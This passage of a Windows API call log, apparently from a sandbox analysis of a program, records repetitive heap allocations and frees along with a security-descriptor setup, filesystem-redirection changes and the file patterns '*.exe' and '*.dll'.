Size=0x40) returned 0x115c2d0 [0169.233] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c2d0) returned 1 [0169.233] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0169.234] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd20048) returned 1 [0169.234] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x3d82e8, lpbSaclPresent=0x35f5c4, pSacl=0x35f618, lpbSaclDefaulted=0x35f5c4 | out: lpbSaclPresent=0x35f5c4, pSacl=0x35f618, lpbSaclDefaulted=0x35f5c4) returned 1 [0169.234] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c2d0 [0169.234] CreateEventA (lpEventAttributes=0x35f60c, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0169.234] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c2d0) returned 1 [0169.234] GetLastError () returned 0x0 [0169.234] LocalFree (hMem=0x3d82e8) returned 0x0 [0169.234] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x2800) returned 0xd20048 [0169.234] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bb80 [0169.234] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c2d0 [0169.234] Wow64DisableWow64FsRedirection (in: OldValue=0x35f640 | out: OldValue=0x35f640*=0x0) returned 1 [0169.234] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x2800) returned 0xd22850 [0169.234] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.234] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.234] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x10) returned 0x115d5e8 [0169.234] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2d8 [0169.234] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.234] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1f8 [0169.234] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c1f8) returned 1 [0169.234] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.234] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2d8) returned 1 [0169.234] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d5e8) returned 1 [0169.234] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd22850) returned 1 [0169.234] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x2800) returned 0xd22850 [0169.234] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.234] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.234] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.234] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x10) returned 0x115d5e8 [0169.234] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2d8 [0169.234] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1f8 [0169.234] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.234] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2c8 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x10) returned 0x115d600 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2b8 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1b0 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2a8 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c168 [0169.235] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c1f8) returned 1 [0169.235] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2d8) returned 1 [0169.235] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.235] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2c8) returned 1 [0169.235] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d5e8) returned 1 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.235] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.235] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x10) returned 0x115d5e8 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2c8 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2d8 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1f8 [0169.235] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c1b0) returned 1 [0169.235] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2b8) returned 1 [0169.235] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c168) returned 1 [0169.235] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2a8) returned 1 [0169.235] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d600) returned 1 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x10) returned 0x115d600 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2a8 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c168 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2b8 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1b0 [0169.235] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.235] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2c8) returned 1 [0169.235] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c1f8) returned 1 [0169.235] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2d8) returned 1 [0169.235] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d5e8) returned 1 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x10) returned 0x115d5e8 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2d8 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1f8 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2c8 [0169.235] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.236] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c168) returned 1 [0169.236] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2a8) returned 1 [0169.236] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c1b0) returned 1 [0169.236] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2b8) returned 1 [0169.236] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d600) returned 1 [0169.236] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd22850) returned 1 [0169.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0169.236] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115d9d0 [0169.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c1f8, cbMultiByte=5, lpWideCharStr=0x115d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0169.236] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115da58 [0169.236] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d9d0) returned 1 [0169.236] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x10) returned 0x115d600 [0169.236] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2b8 [0169.236] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115d9d0 [0169.236] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115da58) returned 1 [0169.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0169.236] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115da58 [0169.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c288, cbMultiByte=5, lpWideCharStr=0x115da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0169.236] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115dae0 [0169.236] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115da58) returned 1 [0169.236] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2a8 [0169.236] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115da58 [0169.236] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115dae0) returned 1 [0169.236] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c1f8) returned 1 [0169.236] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2d8) returned 1 [0169.236] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.236] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2c8) returned 1 [0169.236] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d5e8) returned 1 [0169.236] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x2800) returned 0xd22850 [0169.236] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.236] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.236] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.236] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x10) returned 0x115d5e8 [0169.236] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2c8 [0169.236] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1f8 [0169.236] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.236] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2d8 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1b0 [0169.237] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d298 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c168 [0169.237] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d288 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.237] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x20) returned 0x115bc08 [0169.237] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d5e8) returned 1 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d278 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c240 [0169.237] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d268 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.237] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d258 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x20) returned 0xd25058 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d248 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c5e8 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d238 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c630 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d228 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c678 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d218 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c6c0 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d208 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c708 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d1e8 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c750 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d1f8 [0169.237] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c798 [0169.237] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c1f8) returned 1 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2c8) returned 1 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c1b0) returned 1 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2d8) returned 1 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c168) returned 1 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d298) returned 1 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d288) returned 1 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c240) returned 1 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d278) returned 1 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d268) returned 1 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d258) returned 1 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bc08) returned 1 [0169.238] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.238] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.238] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.238] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.238] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.238] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.238] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.238] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.238] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x10) returned 0x115d5e8 [0169.238] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d258 [0169.238] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.238] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d268 [0169.238] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.238] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d278 [0169.238] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c240 [0169.238] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d288 [0169.238] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.238] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x20) returned 0x115bc08 [0169.239] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d5e8) returned 1 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d298 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c168 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2d8 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1b0 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2c8 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1f8 [0169.239] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c5e8) returned 1 [0169.239] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d248) returned 1 [0169.239] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c630) returned 1 [0169.239] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d238) returned 1 [0169.239] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c678) returned 1 [0169.239] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d228) returned 1 [0169.239] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c6c0) returned 1 [0169.239] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d218) returned 1 [0169.239] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c708) returned 1 [0169.239] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d208) returned 1 [0169.239] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c750) returned 1 [0169.239] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d1e8) returned 1 [0169.239] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c798) returned 1 [0169.239] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d1f8) returned 1 [0169.239] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd25058) returned 1 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x20) returned 0xd25058 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d1f8 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c798 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d1e8 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c750 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d208 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c708 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d218 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c6c0 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d228 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c678 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d238 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c630 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d248 [0169.239] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c5e8 [0169.239] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.239] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d258) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d268) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c240) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d278) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d288) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c168) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d298) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c1b0) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2d8) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c1f8) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2c8) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bc08) returned 1 [0169.240] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x20) returned 0x115bc08 [0169.240] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2c8 [0169.240] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1f8 [0169.240] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2d8 [0169.240] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1b0 [0169.240] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d298 [0169.240] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c168 [0169.240] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d288 [0169.240] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.240] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d278 [0169.240] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c240 [0169.240] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d268 [0169.240] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.240] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d258 [0169.240] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c798) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d1f8) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c750) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d1e8) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c708) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d208) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c6c0) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d218) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c678) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d228) returned 1 [0169.240] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c630) returned 1 [0169.241] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, 